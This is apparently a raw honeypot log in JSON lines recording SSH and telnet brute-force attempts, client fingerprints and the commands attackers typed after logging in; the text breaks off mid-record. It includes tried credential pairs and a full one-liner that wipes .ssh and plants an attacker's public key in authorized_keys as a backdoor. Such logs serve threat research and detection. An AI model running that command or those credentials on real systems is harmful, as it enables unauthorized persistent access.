{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:57.678812Z","src_ip":"141.11.88.14","session":"dc4337c3562c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56106,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e820cad89e","protocol":"telnet","message":"New connection: 128.199.8.54:56106 (159.203.135.109:23) [session: f9e820cad89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:00.338788Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"560f564e1d4b","protocol":"telnet","message":"New connection: 128.199.8.54:56636 (159.203.135.109:23) [session: 560f564e1d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:01.327502Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc6808c8d20","protocol":"ssh","message":"New connection: 141.11.88.14:47498 (10.17.0.5:22) [session: cdc6808c8d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:03.497611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:03.582898Z","src_ip":"141.11.88.14","session":"cdc6808c8d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:03.588213Z","src_ip":"141.11.88.14","session":"cdc6808c8d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadm","password":"webadm","message":"login attempt [webadm/webadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:04.402342Z","src_ip":"141.11.88.14","session":"cdc6808c8d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:05.625193Z","src_ip":"141.11.88.14","session":"cdc6808c8d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38692,"dst_ip":"10.17.0.5","dst_port":22,"session":"0be3aa6ca640","protocol":"ssh","message":"New connection: 141.11.88.14:38692 (10.17.0.5:22) [session: 0be3aa6ca640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:09.377359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:09.468387Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:09.472355Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:10.286451Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:10.852656Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:10.855933Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:10.965953Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:10.970520Z","src_ip":"141.11.88.14","session":"0be3aa6ca640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38726,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccda1fe2b275","protocol":"ssh","message":"New connection: 141.11.88.14:38726 (10.17.0.5:22) [session: ccda1fe2b275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:15.647136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:15.724566Z","src_ip":"141.11.88.14","session":"ccda1fe2b275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:15.804460Z","src_ip":"141.11.88.14","session":"ccda1fe2b275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"budda279056","message":"login attempt [system/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:16.849006Z","src_ip":"141.11.88.14","session":"ccda1fe2b275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:18.449438Z","src_ip":"141.11.88.14","session":"ccda1fe2b275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14848,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6b61469186","protocol":"ssh","message":"New connection: 141.11.88.14:14848 (10.17.0.5:22) [session: ad6b61469186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:21.501459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:21.673325Z","src_ip":"141.11.88.14","session":"ad6b61469186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:21.677335Z","src_ip":"141.11.88.14","session":"ad6b61469186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:22.803152Z","src_ip":"141.11.88.14","session":"ad6b61469186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:23.991377Z","src_ip":"141.11.88.14","session":"ad6b61469186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":55198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ee590606b85","protocol":"ssh","message":"New connection: 41.86.34.139:55198 (10.17.0.5:22) [session: 2ee590606b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:25.683040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:25.690237Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:25.897594Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2023","message":"login attempt [admin/admin@2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:26.762846Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:27.223387Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:27.226320Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:27.229744Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:27.645932Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a934ffeb775","protocol":"ssh","message":"New connection: 141.11.88.14:17238 (10.17.0.5:22) [session: 3a934ffeb775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:27.856356Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.002848Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.005839Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.013713Z","src_ip":"141.11.88.14","session":"3a934ffeb775","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.220584Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.224025Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.264465Z","src_ip":"141.11.88.14","session":"3a934ffeb775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":55206,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5e015c2ae3","protocol":"ssh","message":"New connection: 41.86.34.139:55206 (10.17.0.5:22) [session: de5e015c2ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.425241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.429476Z","src_ip":"41.86.34.139","session":"de5e015c2ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-g